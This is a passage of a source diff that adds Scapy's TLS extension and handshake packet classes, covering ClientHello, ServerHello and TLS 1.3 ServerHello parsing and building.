+                              2: TAX509Name,
+                              3: TACertSHA1Hash }
+
+class _TAListField(PacketListField):
+    """
+    Specific version that selects the right Trusted Authority (previous TA*)
+    class to be used for dissection based on idtype.
+    """
+    def m2i(self, pkt, m):
+        idtype = ord(m[0])
+        cls = self.cls
+        if idtype in _tls_trusted_authority_cls:
+            cls = _tls_trusted_authority_cls[idtype]
+        return cls(m)
+
+class TLS_Ext_TrustedCAInd(TLS_Ext_Unknown):                        # RFC 4366
+    name = "TLS Extension - Trusted CA Indication"
+    fields_desc = [ShortEnumField("type", 3, _tls_ext),
+                   ShortField("len", None),
+                   FieldLenField("talen", None, length_of="ta"),
+                   _TAListField("ta", [], Raw,
+                                length_from=lambda pkt: pkt.talen) ]
+
+
+class TLS_Ext_TruncatedHMAC(TLS_Ext_Unknown):                       # RFC 4366
+    name = "TLS Extension - Truncated HMAC"
+    fields_desc = [ShortEnumField("type", 4, _tls_ext),
+                   ShortField("len", None) ]
+
+
+class ResponderID(Packet):
+    name = "Responder ID structure"
+    fields_desc = [ FieldLenField("respidlen", None, length_of="respid"),
+                    StrLenField("respid", "",
+                                length_from=lambda pkt: pkt.respidlen)]
+    def guess_payload_class(self, p):
+        return Padding
+
+class OCSPStatusRequest(Packet):
+    """
+    This is the structure defined in RFC 6066, not in RFC 6960!
+    """
+    name = "OCSPStatusRequest structure"
+    fields_desc = [ FieldLenField("respidlen", None, length_of="respid"),
+                    PacketListField("respid", [], ResponderID,
+                                    length_from=lambda pkt: pkt.respidlen),
+                    FieldLenField("reqextlen", None, length_of="reqext"),
+                    PacketField("reqext", "", X509_Extensions) ]
+    def guess_payload_class(self, p):
+        return Padding
+
+_cert_status_type = { 1: "ocsp" }
+_cert_status_req_cls  = { 1: OCSPStatusRequest }
+
+class _StatusReqField(PacketListField):
+    def m2i(self, pkt, m):
+        idtype = pkt.stype
+        cls = self.cls
+        if idtype in _cert_status_req_cls:
+            cls = _cert_status_req_cls[idtype]
+        return cls(m)
+
+class TLS_Ext_CSR(TLS_Ext_Unknown):                                 # RFC 4366
+    name = "TLS Extension - Certificate Status Request"
+    fields_desc = [ShortEnumField("type", 5, _tls_ext),
+                   ShortField("len", None),
+                   ByteEnumField("stype", None, _cert_status_type),
+                   _StatusReqField("req", [], Raw,
+                                  length_from=lambda pkt: pkt.len - 1) ]
+
+
+class TLS_Ext_UserMapping(TLS_Ext_Unknown):                         # RFC 4681
+    name = "TLS Extension - User Mapping"
+    fields_desc = [ShortEnumField("type", 6, _tls_ext),
+                   ShortField("len", None),
+                   FieldLenField("umlen", None, fmt="B", length_of="um"),
+                   FieldListField("um", [],
+                                  ByteField("umtype", 0),
+                                  length_from=lambda pkt: pkt.umlen) ]
+
+
+class TLS_Ext_ClientAuthz(TLS_Ext_Unknown):                         # RFC 5878
+    """ XXX Unsupported """
+    name = "TLS Extension - Client Authz"
+    fields_desc = [ShortEnumField("type", 7, _tls_ext),
+                   ShortField("len", None),
+                   ]
+
+class TLS_Ext_ServerAuthz(TLS_Ext_Unknown):                         # RFC 5878
+    """ XXX Unsupported """
+    name = "TLS Extension - Server Authz"
+    fields_desc = [ShortEnumField("type", 8, _tls_ext),
+                   ShortField("len", None),
+                   ]
+
+
+_tls_cert_types = { 0: "X.509", 1: "OpenPGP" }
+
+class TLS_Ext_ClientCertType(TLS_Ext_Unknown):                      # RFC 5081
+    name = "TLS Extension - Certificate Type (client version)"
+    fields_desc = [ShortEnumField("type", 9, _tls_ext),
+                   ShortField("len", None),
+                   FieldLenField("ctypeslen", None, length_of="ctypes"),
+                   FieldListField("ctypes", [0, 1],
+                                  ByteEnumField("certtypes", None,
+                                                _tls_cert_types),
+                                  length_from=lambda pkt: pkt.ctypeslen) ]
+
+class TLS_Ext_ServerCertType(TLS_Ext_Unknown):                      # RFC 5081
+    name = "TLS Extension - Certificate Type (server version)"
+    fields_desc = [ShortEnumField("type", 9, _tls_ext),
+                   ShortField("len", None),
+                   ByteEnumField("ctype", None, _tls_cert_types) ]
+
+def _TLS_Ext_CertTypeDispatcher(m, *args, **kargs):
+    """
+    We need to select the correct one on dissection. We use the length for
+    that, as 1 for client version would emply an empty list.
+    """
+    l = struct.unpack("!H", m[2:4])[0]
+    if l == 1:
+        cls = TLS_Ext_ServerCertType
+    else:
+        cls = TLS_Ext_ClientCertType
+    return cls(m, *args, **kargs)
+
+
+class TLS_Ext_SupportedGroups(TLS_Ext_Unknown):
+    """
+    This extension was known as 'Supported Elliptic Curves' before TLS 1.3
+    merged both group selection mechanisms for ECDH and FFDH.
+    """
+    name = "TLS Extension - Supported Groups"
+    fields_desc = [ShortEnumField("type", 10, _tls_ext),
+                   ShortField("len", None),
+                   FieldLenField("groupslen", None, length_of="groups"),
+                   FieldListField("groups", [],
+                                  ShortEnumField("ng", None,
+                                                 _tls_named_groups),
+                                  length_from=lambda pkt: pkt.groupslen) ]
+
+class TLS_Ext_SupportedEllipticCurves(TLS_Ext_SupportedGroups):     # RFC 4492
+    pass
+
+
+_tls_ecpoint_format = { 0: "uncompressed",
+                        1: "ansiX962_compressed_prime",
+                        2: "ansiX962_compressed_char2" }
+
+class TLS_Ext_SupportedPointFormat(TLS_Ext_Unknown):                # RFC 4492
+    name = "TLS Extension - Supported Point Format"
+    fields_desc = [ShortEnumField("type", 11, _tls_ext),
+                   ShortField("len", None),
+                   FieldLenField("ecpllen", None, fmt="B", length_of="ecpl"),
+                   FieldListField("ecpl", [0],
+                                    ByteEnumField("nc", None,
+                                                  _tls_ecpoint_format),
+                                    length_from=lambda pkt: pkt.ecpllen) ]
+
+
+class TLS_Ext_SignatureAlgorithms(TLS_Ext_Unknown):                 # RFC 5246
+    name = "TLS Extension - Signature Algorithms"
+    fields_desc = [ShortEnumField("type", 13, _tls_ext),
+                   ShortField("len", None),
+                   SigAndHashAlgsLenField("sig_algs_len", None,
+                                          length_of="sig_algs"),
+                   SigAndHashAlgsField("sig_algs", [],
+                                       EnumField("hash_sig", None,
+                                                    _tls_hash_sig),
+                                       length_from=
+                                           lambda pkt: pkt.sig_algs_len) ]
+
+
+class TLS_Ext_Heartbeat(TLS_Ext_Unknown):                           # RFC 6520
+    name = "TLS Extension - Heartbeat"
+    fields_desc = [ShortEnumField("type", 0x0f, _tls_ext),
+                   ShortField("len", None),
+                   ByteEnumField("heartbeat_mode", 2,
+                       { 1: "peer_allowed_to_send",
+                         2: "peer_not_allowed_to_send" }) ]
+
+
+class ProtocolName(Packet):
+    name = "Protocol Name"
+    fields_desc = [ FieldLenField("len", None, fmt='B', length_of="protocol"),
+                    StrLenField("protocol", "",
+                                length_from=lambda pkt: pkt.len)]
+    def guess_payload_class(self, p):
+        return Padding
+
+class ProtocolListField(PacketListField):
+    def i2repr(self, pkt, x):
+        res = [p.protocol for p in x]
+        return "[%s]" % b", ".join(res)
+
+class TLS_Ext_ALPN(TLS_Ext_PrettyPacketList):                       # RFC 7301
+    name = "TLS Extension - Application Layer Protocol Negotiation"
+    fields_desc = [ShortEnumField("type", 0x10, _tls_ext),
+                   ShortField("len", None),
+                   FieldLenField("protocolslen", None, length_of="protocols"),
+                   ProtocolListField("protocols", [], ProtocolName,
+                                     length_from=lambda pkt:pkt.protocolslen) ]
+
+
+class TLS_Ext_Padding(TLS_Ext_Unknown):                             # RFC 7685
+    name = "TLS Extension - Padding"
+    fields_desc = [ShortEnumField("type", 0x15, _tls_ext),
+                   FieldLenField("len", None, length_of="padding"),
+                   StrLenField("padding", "",
+                               length_from=lambda pkt: pkt.len) ]
+
+
+class TLS_Ext_EncryptThenMAC(TLS_Ext_Unknown):                      # RFC 7366
+    name = "TLS Extension - Encrypt-then-MAC"
+    fields_desc = [ShortEnumField("type", 0x16, _tls_ext),
+                   ShortField("len", None) ]
+
+
+class TLS_Ext_ExtendedMasterSecret(TLS_Ext_Unknown):                # RFC 7627
+    name = "TLS Extension - Extended Master Secret"
+    fields_desc = [ShortEnumField("type", 0x17, _tls_ext),
+                   ShortField("len", None) ]
+
+
+class TLS_Ext_SessionTicket(TLS_Ext_Unknown):                       # RFC 5077
+    """
+    RFC 5077 updates RFC 4507 according to most implementations, which do not
+    use another (useless) 'ticketlen' field after the global 'len' field.
+    """
+    name = "TLS Extension - Session Ticket"
+    fields_desc = [ShortEnumField("type", 0x23, _tls_ext),
+                   FieldLenField("len", None, length_of="ticket"),
+                   StrLenField("ticket", "",
+                               length_from=lambda pkt: pkt.len) ]
+
+
+class TLS_Ext_KeyShare(TLS_Ext_Unknown):
+    name = "TLS Extension - Key Share (dummy class)"
+    fields_desc = [ShortEnumField("type", 0x28, _tls_ext),
+                   ShortField("len", None) ]
+
+
+class TLS_Ext_PreSharedKey(TLS_Ext_Unknown):
+    name = "TLS Extension - Pre Shared Key (dummy class)"
+    fields_desc = [ShortEnumField("type", 0x29, _tls_ext),
+                   ShortField("len", None) ]
+
+
+class TLS_Ext_EarlyData(TLS_Ext_Unknown):
+    name = "TLS Extension - Early Data"
+    fields_desc = [ShortEnumField("type", 0x2a, _tls_ext),
+                   ShortField("len", None) ]
+
+
+class TLS_Ext_SupportedVersions(TLS_Ext_Unknown):
+    name = "TLS Extension - Supported Versions"
+    fields_desc = [ShortEnumField("type", 0x2b, _tls_ext),
+                   ShortField("len", None),
+                   FieldLenField("versionslen", None, fmt='B',
+                                 length_of="versions"),
+                   FieldListField("versions", [],
+                                  ShortEnumField("version", None,
+                                                 _tls_version),
+                                  length_from=lambda pkt: pkt.versionslen) ]
+
+
+class TLS_Ext_Cookie(TLS_Ext_Unknown):
+    name = "TLS Extension - Cookie"
+    fields_desc = [ShortEnumField("type", 0x2c, _tls_ext),
+                   ShortField("len", None),
+                   FieldLenField("cookielen", None, length_of="cookie"),
+                   XStrLenField("cookie", "",
+                                length_from=lambda pkt: pkt.cookielen) ]
+
+
+_tls_psk_kx_modes = { 0: "psk_ke", 1: "psk_dhe_ke" }
+
+class TLS_Ext_PSKKeyExchangeModes(TLS_Ext_Unknown):
+    name = "TLS Extension - PSK Key Exchange Modes"
+    fields_desc = [ShortEnumField("type", 0x2d, _tls_ext),
+                   ShortField("len", None),
+                   FieldLenField("kxmodeslen", None, fmt='B',
+                                 length_of="kxmodes"),
+                   FieldListField("kxmodes", [],
+                                  ByteEnumField("kxmode", None,
+                                                 _tls_psk_kx_modes),
+                                  length_from=lambda pkt: pkt.kxmodeslen) ]
+
+
+class TLS_Ext_TicketEarlyDataInfo(TLS_Ext_Unknown):
+    name = "TLS Extension - Ticket Early Data Info"
+    fields_desc = [ShortEnumField("type", 0x2e, _tls_ext),
+                   ShortField("len", None),
+                   IntField("max_early_data_size", 0) ]
+
+
+class TLS_Ext_NPN(TLS_Ext_PrettyPacketList):
+    """
+    Defined in RFC-draft-agl-tls-nextprotoneg-03. Deprecated in favour of ALPN.
+    """
+    name = "TLS Extension - Next Protocol Negotiation"
+    fields_desc = [ShortEnumField("type", 0x3374, _tls_ext),
+                   FieldLenField("len", None, length_of="protocols"),
+                   ProtocolListField("protocols", [], ProtocolName,
+                                     length_from=lambda pkt:pkt.len) ]
+
+
+class TLS_Ext_RenegotiationInfo(TLS_Ext_Unknown):                   # RFC 5746
+    name = "TLS Extension - Renegotiation Indication"
+    fields_desc = [ShortEnumField("type", 0xff01, _tls_ext),
+                   ShortField("len", None),
+                   FieldLenField("reneg_conn_len", None, fmt='B',
+                                 length_of="renegotiated_connection"),
+                   StrLenField("renegotiated_connection", "",
+                               length_from=lambda pkt: pkt.reneg_conn_len) ]
+
+
+_tls_ext_cls = { 0: TLS_Ext_ServerName,
+                 1: TLS_Ext_MaxFragLen,
+                 2: TLS_Ext_ClientCertURL,
+                 3: TLS_Ext_TrustedCAInd,
+                 4: TLS_Ext_TruncatedHMAC,
+                 5: TLS_Ext_CSR,
+                 6: TLS_Ext_UserMapping,
+                 7: TLS_Ext_ClientAuthz,
+                 8: TLS_Ext_ServerAuthz,
+                 9: _TLS_Ext_CertTypeDispatcher,
+               #10: TLS_Ext_SupportedEllipticCurves,
+                10: TLS_Ext_SupportedGroups,
+                11: TLS_Ext_SupportedPointFormat,
+                13: TLS_Ext_SignatureAlgorithms,
+                0x0f: TLS_Ext_Heartbeat,
+                0x10: TLS_Ext_ALPN,
+                0x15: TLS_Ext_Padding,
+                0x16: TLS_Ext_EncryptThenMAC,
+                0x17: TLS_Ext_ExtendedMasterSecret,
+                0x23: TLS_Ext_SessionTicket,
+                0x28: TLS_Ext_KeyShare,
+                0x29: TLS_Ext_PreSharedKey,
+                0x2a: TLS_Ext_EarlyData,
+                0x2b: TLS_Ext_SupportedVersions,
+                0x2c: TLS_Ext_Cookie,
+                0x2d: TLS_Ext_PSKKeyExchangeModes,
+                0x2e: TLS_Ext_TicketEarlyDataInfo,
+               #0x2f: TLS_Ext_CertificateAuthorities,       #XXX
+               #0x30: TLS_Ext_OIDFilters,                   #XXX
+                0x3374: TLS_Ext_NPN,
+                0xff01: TLS_Ext_RenegotiationInfo
+                }
+
+
+class _ExtensionsLenField(FieldLenField):
+    def getfield(self, pkt, s):
+        """
+        We try to compute a length, usually from a msglen parsed earlier.
+        If this length is 0, we consider 'selection_present' (from RFC 5246)
+        to be False. This means that there should not be any length field.
+        However, with TLS 1.3, zero lengths are always explicit.
+        """
+        ext = pkt.get_field(self.length_of)
+        l = ext.length_from(pkt)
+        if l is None or l <= 0:
+            v = pkt.tls_session.tls_version
+            if v is None or v < 0x0304:
+                return s, None
+        return super(_ExtensionsLenField, self).getfield(pkt, s)
+
+    def addfield(self, pkt, s, i):
+        """
+        There is a hack with the _ExtensionsField.i2len. It works only because
+        we expect _ExtensionsField.i2m to return a string of the same size (if
+        not of the same value) upon successive calls (e.g. through i2len here,
+        then i2m when directly building the _ExtensionsField).
+
+        XXX A proper way to do this would be to keep the extensions built from
+        the i2len call here, instead of rebuilding them later on.
+        """
+        if i is None:
+            if self.length_of is not None:
+                fld,fval = pkt.getfield_and_val(self.length_of)
+
+                tmp = pkt.tls_session.frozen
+                pkt.tls_session.frozen = True
+                f = fld.i2len(pkt, fval)
+                pkt.tls_session.frozen = tmp
+
+                i = self.adjust(pkt, f)
+                if i == 0: # for correct build if no ext and not explicitly 0
+                    return s
+        return s + struct.pack(self.fmt, i)
+
+class _ExtensionsField(StrLenField):
+    islist=1
+    holds_packets=1
+
+    def i2len(self, pkt, i):
+        if i is None:
+            return 0
+        return len(self.i2m(pkt, i))
+
+    def getfield(self, pkt, s):
+        l = self.length_from(pkt)
+        if l is None:
+            return s, []
+        return s[l:], self.m2i(pkt, s[:l])
+
+    def i2m(self, pkt, i):
+        if i is None:
+            return b""
+        if isinstance(pkt, _GenericTLSSessionInheritance):
+            if not pkt.tls_session.frozen:
+                s = b""
+                for ext in i:
+                    if isinstance(ext, _GenericTLSSessionInheritance):
+                        ext.tls_session = pkt.tls_session
+                        s += ext.raw_stateful()
+                    else:
+                        s += raw(ext)
+                return s
+        return b"".join(map(raw, i))
+
+    def m2i(self, pkt, m):
+        res = []
+        while m:
+            t = struct.unpack("!H", m[:2])[0]
+            l = struct.unpack("!H", m[2:4])[0]
+            cls = _tls_ext_cls.get(t, TLS_Ext_Unknown)
+            if cls is TLS_Ext_KeyShare:
+                from scapy.layers.tls.keyexchange_tls13 import _tls_ext_keyshare_cls
+                cls = _tls_ext_keyshare_cls.get(pkt.msgtype, TLS_Ext_Unknown)
+            elif cls is TLS_Ext_PreSharedKey:
+                from scapy.layers.tls.keyexchange_tls13 import _tls_ext_presharedkey_cls
+                cls = _tls_ext_presharedkey_cls.get(pkt.msgtype, TLS_Ext_Unknown)
+            res.append(cls(m[:l+4], tls_session=pkt.tls_session))
+            m = m[l+4:]
+        return res
+
+
diff --git a/scapy/layers/tls/handshake.py b/scapy/layers/tls/handshake.py
new file mode 100644
index 0000000..95cd914
--- /dev/null
+++ b/scapy/layers/tls/handshake.py
@@ -0,0 +1,1230 @@
+## This file is part of Scapy
+## Copyright (C) 2007, 2008, 2009 Arnaud Ebalard
+##               2015, 2016, 2017 Maxence Tury
+## This program is published under a GPLv2 license
+
+"""
+TLS handshake fields & logic.
+
+This module covers the handshake TLS subprotocol, except for the key exchange
+mechanisms which are addressed with keyexchange.py.
+"""
+
+from __future__ import absolute_import
+import math
+
+from scapy.error import log_runtime, warning
+from scapy.fields import *
+from scapy.compat import *
+from scapy.packet import Packet, Raw, Padding
+from scapy.utils import repr_hex
+from scapy.layers.x509 import OCSP_Response
+from scapy.layers.tls.cert import Cert, PrivKey, PubKey
+from scapy.layers.tls.basefields import (_tls_version, _TLSVersionField,
+                                         _TLSClientVersionField)
+from scapy.layers.tls.extensions import (_ExtensionsLenField, _ExtensionsField,
+                                         _cert_status_type, TLS_Ext_SupportedVersions)
+from scapy.layers.tls.keyexchange import (_TLSSignature, _TLSServerParamsField,
+                                          _TLSSignatureField, ServerRSAParams,
+                                          SigAndHashAlgsField, _tls_hash_sig,
+                                          SigAndHashAlgsLenField)
+from scapy.layers.tls.keyexchange_tls13 import TicketField
+from scapy.layers.tls.session import (_GenericTLSSessionInheritance,
+                                      readConnState, writeConnState)
+from scapy.layers.tls.crypto.compression import (_tls_compression_algs,
+                                                 _tls_compression_algs_cls,
+                                                 Comp_NULL, _GenericComp,
+                                                 _GenericCompMetaclass)
+from scapy.layers.tls.crypto.suites import (_tls_cipher_suites,
+                                            _tls_cipher_suites_cls,
+                                            _GenericCipherSuite,
+                                            _GenericCipherSuiteMetaclass)
+
+
+###############################################################################
+### Generic TLS Handshake message                                           ###
+###############################################################################
+
+_tls_handshake_type = { 0: "hello_request",         1: "client_hello",
+                        2: "server_hello",          3: "hello_verify_request",
+                        4: "session_ticket",        6: "hello_retry_request",
+                        8: "encrypted_extensions",  11: "certificate",
+                        12: "server_key_exchange",  13: "certificate_request",
+                        14: "server_hello_done",    15: "certificate_verify",
+                        16: "client_key_exchange",  20: "finished",
+                        21: "certificate_url",      22: "certificate_status",
+                        23: "supplemental_data",    24: "key_update" }
+
+
+class _TLSHandshake(_GenericTLSSessionInheritance):
+    """
+    Inherited by other Handshake classes to get post_build().
+    Also used as a fallback for unknown TLS Handshake packets.
+    """
+    name = "TLS Handshake Generic message"
+    fields_desc = [ ByteEnumField("msgtype", None, _tls_handshake_type),
+                    ThreeBytesField("msglen", None),
+                    StrLenField("msg", "",
+                                length_from=lambda pkt: pkt.msglen) ]
+
+    def post_build(self, p, pay):
+        l = len(p)
+        if self.msglen is None:
+            l2 = l - 4
+            p = struct.pack("!I", (orb(p[0]) << 24) | l2) + p[4:]
+        return p + pay
+
+    def guess_payload_class(self, p):
+        return conf.padding_layer
+
+    def tls_session_update(self, msg_str):
+        """
+        Covers both post_build- and post_dissection- context updates.
+        """
+        self.tls_session.handshake_messages.append(msg_str)
+        self.tls_session.handshake_messages_parsed.append(self)
+
+
+###############################################################################
+### HelloRequest                                                            ###
+###############################################################################
+
+class TLSHelloRequest(_TLSHandshake):
+    name = "TLS Handshake - Hello Request"
+    fields_desc = [ ByteEnumField("msgtype", 0, _tls_handshake_type),
+                    ThreeBytesField("msglen", None) ]
+
+    def tls_session_update(self, msg_str):
+        """
+        Message should not be added to the list of handshake messages
+        that will be hashed in the finished and certificate verify messages.
+        """
+        return
+
+
+###############################################################################
+### ClientHello fields                                                      ###
+###############################################################################
+
+class _GMTUnixTimeField(UTCTimeField):
+    """
+    "The current time and date in standard UNIX 32-bit format (seconds since
+     the midnight starting Jan 1, 1970, GMT, ignoring leap seconds)."
+    """
+    def i2h(self, pkt, x):
+        if x is not None:
+            return x
+        return 0
+
+class _TLSRandomBytesField(StrFixedLenField):
+    def i2repr(self, pkt, x):
+        if x is None:
+            return repr(x)
+        return repr_hex(self.i2h(pkt,x))
+
+
+class _SessionIDField(StrLenField):
+    """
+    opaque SessionID<0..32>; section 7.4.1.2 of RFC 4346
+    """
+    pass
+
+
+class _CipherSuitesField(StrLenField):
+    __slots__ = ["itemfmt", "itemsize", "i2s", "s2i"]
+    islist = 1
+    def __init__(self, name, default, dico, length_from=None, itemfmt="!H"):
+        StrLenField.__init__(self, name, default, length_from=length_from)
+        self.itemfmt = itemfmt
+        self.itemsize = struct.calcsize(itemfmt)
+        i2s = self.i2s = {}
+        s2i = self.s2i = {}
+        for k in six.iterkeys(dico):
+            i2s[k] = dico[k]
+            s2i[dico[k]] = k
+
+    def any2i_one(self, pkt, x):
+        if (isinstance(x, _GenericCipherSuite) or
+            isinstance(x, _GenericCipherSuiteMetaclass)):
+            x = x.val
+        if isinstance(x, bytes):
+            x = self.s2i[x]
+        return x
+
+    def i2repr_one(self, pkt, x):
+        fmt = "0x%%0%dx" % self.itemsize
+        return self.i2s.get(x, fmt % x)
+
+    def any2i(self, pkt, x):
+        if x is None:
+            return None
+        if not isinstance(x, list):
+            x = [x]
+        return [self.any2i_one(pkt, z) for z in x]
+
+    def i2repr(self, pkt, x):
+        if x is None:
+            return "None"
+        l = [self.i2repr_one(pkt, z) for z in x]
+        if len(l) == 1:
+            l = l[0]
+        else:
+            l = "[%s]" % ", ".join(l)
+        return l
+
+    def i2m(self, pkt, val):
+        if val is None:
+            val = []
+        return b"".join(struct.pack(self.itemfmt, x) for x in val)
+
+    def m2i(self, pkt, m):
+        res = []
+        itemlen = struct.calcsize(self.itemfmt)
+        while m:
+            res.append(struct.unpack(self.itemfmt, m[:itemlen])[0])
+            m = m[itemlen:]
+        return res
+
+    def i2len(self, pkt, i):
+        if i is None:
+            return 0
+        return len(i)*self.itemsize
+
+
+class _CompressionMethodsField(_CipherSuitesField):
+
+    def any2i_one(self, pkt, x):
+        if (isinstance(x, _GenericComp) or
+            isinstance(x, _GenericCompMetaclass)):
+            x = x.val
+        if isinstance(x, str):
+            x = self.s2i[x]
+        return x
+
+
+###############################################################################
+### ClientHello                                                             ###
+###############################################################################
+
+class TLSClientHello(_TLSHandshake):
+    """
+    TLS ClientHello, with abilities to handle extensions.
+
+    The Random structure follows the RFC 5246: while it is 32-byte long,
+    many implementations use the first 4 bytes as a gmt_unix_time, and then
+    the remaining 28 byts should be completely random. This was designed in
+    order to (sort of) mitigate broken RNGs. If you prefer to show the full
+    32 random bytes without any GMT time, just comment in/out the lines below.
+    """
+    name = "TLS Handshake - Client Hello"
+    fields_desc = [ ByteEnumField("msgtype", 1, _tls_handshake_type),
+                    ThreeBytesField("msglen", None),
+                    _TLSClientVersionField("version", None, _tls_version),
+
+                    #_TLSRandomBytesField("random_bytes", None, 32),
+                    _GMTUnixTimeField("gmt_unix_time", None),
+                    _TLSRandomBytesField("random_bytes", None, 28),
+
+                    FieldLenField("sidlen", None, fmt="B", length_of="sid"),
+                    _SessionIDField("sid", "",
+                                    length_from=lambda pkt:pkt.sidlen),
+
+                    FieldLenField("cipherslen", None, fmt="!H",
+                                  length_of="ciphers"),
+                    _CipherSuitesField("ciphers", None,
+                                       _tls_cipher_suites, itemfmt="!H",
+                                       length_from=lambda pkt: pkt.cipherslen),
+
+                    FieldLenField("complen", None, fmt="B", length_of="comp"),
+                    _CompressionMethodsField("comp", [0],
+                                             _tls_compression_algs,
+                                             itemfmt="B",
+                                             length_from=
+                                                 lambda pkt: pkt.complen),
+
+                    _ExtensionsLenField("extlen", None, length_of="ext"),
+                    _ExtensionsField("ext", None,
+                                     length_from=lambda pkt: (pkt.msglen -
+                                                              (pkt.sidlen or 0) -
+                                                              (pkt.cipherslen or 0) -
+                                                              (pkt.complen or 0) -
+                                                              40)) ]
+
+    def post_build(self, p, pay):
+        if self.random_bytes is None:
+            p = p[:10] + randstring(28) + p[10+28:]
+
+        # if no ciphersuites were provided, we add a few usual, supported
+        # ciphersuites along with the appropriate extensions
+        if self.ciphers is None:
+            cipherstart = 39 + (self.sidlen or 0)
+            s = b"001ac02bc023c02fc027009e0067009c003cc009c0130033002f000a"
+            p = p[:cipherstart] + bytes_hex(s) + p[cipherstart+2:]
+            if self.ext is None:
+                ext_len = b'\x00\x2c'
+                ext_reneg = b'\xff\x01\x00\x01\x00'
+                ext_sn = b'\x00\x00\x00\x0f\x00\r\x00\x00\nsecdev.org'
+                ext_sigalg = b'\x00\r\x00\x08\x00\x06\x04\x03\x04\x01\x02\x01'
+                ext_supgroups = b'\x00\n\x00\x04\x00\x02\x00\x17'
+                p += ext_len + ext_reneg + ext_sn + ext_sigalg + ext_supgroups
+
+        return super(TLSClientHello, self).post_build(p, pay)
+
+    def tls_session_update(self, msg_str):
+        """
+        Either for parsing or building, we store the client_random
+        along with the raw string representing this handshake message.
+        """
+        super(TLSClientHello, self).tls_session_update(msg_str)
+
+        self.tls_session.advertised_tls_version = self.version
+        self.random_bytes = msg_str[10:38]
+        self.tls_session.client_random = (struct.pack('!I',
+                                                      self.gmt_unix_time) +
+                                          self.random_bytes)
+        if self.ext:
+            for e in self.ext:
+                if isinstance(e, TLS_Ext_SupportedVersions):
+                    if self.tls_session.tls13_early_secret is None:
+                        # this is not recomputed if there was a TLS 1.3 HRR
+                        self.tls_session.compute_tls13_early_secrets()
+                    break
+
+###############################################################################
+### ServerHello                                                             ###
+###############################################################################
+
+class TLSServerHello(TLSClientHello):
+    """
+    TLS ServerHello, with abilities to handle extensions.
+
+    The Random structure follows the RFC 5246: while it is 32-byte long,
+    many implementations use the first 4 bytes as a gmt_unix_time, and then
+    the remaining 28 byts should be completely random. This was designed in
+    order to (sort of) mitigate broken RNGs. If you prefer to show the full
+    32 random bytes without any GMT time, just comment in/out the lines below.
+    """
+    name = "TLS Handshake - Server Hello"
+    fields_desc = [ ByteEnumField("msgtype", 2, _tls_handshake_type),
+                    ThreeBytesField("msglen", None),
+                    _TLSVersionField("version", None, _tls_version),
+
+                    #_TLSRandomBytesField("random_bytes", None, 32),
+                    _GMTUnixTimeField("gmt_unix_time", None),
+                    _TLSRandomBytesField("random_bytes", None, 28),
+
+                    FieldLenField("sidlen", None, length_of="sid", fmt="B"),
+                    _SessionIDField("sid", "",
+                                   length_from = lambda pkt: pkt.sidlen),
+
+                    EnumField("cipher", None, _tls_cipher_suites),
+                    _CompressionMethodsField("comp", [0],
+                                             _tls_compression_algs,
+                                             itemfmt="B",
+                                             length_from=lambda pkt: 1),
+
+                    _ExtensionsLenField("extlen", None, length_of="ext"),
+                    _ExtensionsField("ext", None,
+                                     length_from=lambda pkt: (pkt.msglen -
+                                                              (pkt.sidlen or 0) -
+                                                              38)) ]
+                                                              #40)) ]
+
+    @classmethod
+    def dispatch_hook(cls, _pkt=None, *args, **kargs):
+        if _pkt and len(_pkt) >= 6:
+            version = struct.unpack("!H", _pkt[4:6])[0]
+            if version == 0x0304 or version > 0x7f00:
+                return TLS13ServerHello
+        return TLSServerHello
+
+    def post_build(self, p, pay):
+        if self.random_bytes is None:
+            p = p[:10] + randstring(28) + p[10+28:]
+        return super(TLSClientHello, self).post_build(p, pay)
+
+    def tls_session_update(self, msg_str):
+        """
+        Either for parsing or building, we store the server_random
+        along with the raw string representing this handshake message.
+        We also store the session_id, the cipher suite (if recognized),
+        the compression method, and finally we instantiate the pending write
+        and read connection states. Usually they get updated later on in the
+        negotiation when we learn the session keys, and eventually they
+        are committed once a ChangeCipherSpec has been sent/received.
+        """
+        super(TLSClientHello, self).tls_session_update(msg_str)
+
+        self.tls_session.tls_version = self.version
+        self.random_bytes = msg_str[10:38]
+        self.tls_session.server_random = (struct.pack('!I',
+                                                      self.gmt_unix_time) +
+                                          self.random_bytes)
+        self.tls_session.sid = self.sid
+
+        cs_cls = None
+        if self.cipher:
+            cs_val = self.cipher
+            if cs_val not in _tls_cipher_suites_cls:
+                warning("Unknown cipher suite %d from ServerHello" % cs_val)
+                # we do not try to set a default nor stop the execution
+            else:
+                cs_cls = _tls_cipher_suites_cls[cs_val]
+
+        comp_cls = Comp_NULL
+        if self.comp:
+            comp_val = self.comp[0]
+            if comp_val not in _tls_compression_algs_cls:
+                err = "Unknown compression alg %d from ServerHello" % comp_val
+                warning(err)
+                comp_val = 0
+            comp_cls = _tls_compression_algs_cls[comp_val]
+
+        connection_end = self.tls_session.connection_end
+        self.tls_session.pwcs = writeConnState(ciphersuite=cs_cls,
+                                               compression_alg=comp_cls,
+                                               connection_end=connection_end,
+                                               tls_version=self.version)
+        self.tls_session.prcs = readConnState(ciphersuite=cs_cls,
+                                              compression_alg=comp_cls,
+                                              connection_end=connection_end,
+                                              tls_version=self.version)
+
+
+class TLS13ServerHello(TLSClientHello):
+    """ TLS 1.3 ServerHello """
+    name = "TLS 1.3 Handshake - Server Hello"
+    fields_desc = [ ByteEnumField("msgtype", 2, _tls_handshake_type),
+                    ThreeBytesField("msglen", None),
+                    _TLSVersionField("version", None, _tls_version),
+                    _TLSRandomBytesField("random_bytes", None, 32),
+                    EnumField("cipher", None, _tls_cipher_suites),
+                    _ExtensionsLenField("extlen", None, length_of="ext"),
+                    _ExtensionsField("ext", None,
+                                     length_from=lambda pkt: (pkt.msglen -
+                                                              38)) ]
+
+    def tls_session_update(self, msg_str):
+        """
+        Either for parsing or building, we store the server_random along with
+        the raw string representing this handshake message. We also store the
+        cipher suite (if recognized), and finally we instantiate the write and
+        read connection states.
+        """
+        super(TLSClientHello, self).tls_session_update(msg_str)
+
+        s = self.tls_session
+        s.tls_version = self.version
+        s.server_random = self.random_bytes
+
+        cs_cls = None
+        if self.cipher:
+            cs_val = self.cipher
+            if cs_val not in _tls_cipher_suites_cls:
+                warning("Unknown cipher suite %d from ServerHello" % cs_val)
+                # we do not try to set a default nor stop the execution
+            else:
+                cs_cls = _tls_cipher_suites_cls[cs_val]
+
+        connection_end = s.connection_end
+        s.pwcs = writeConnState(ciphersuite=cs_cls,
+                                connection_end=connection_end,
+                                tls_version=self.version)
+        s.triggered_pwcs_commit = True
+        s.prcs = readConnState(ciphersuite=cs_cls,
+                               connection_end=connection_end,
+                               tls_version=self.version)
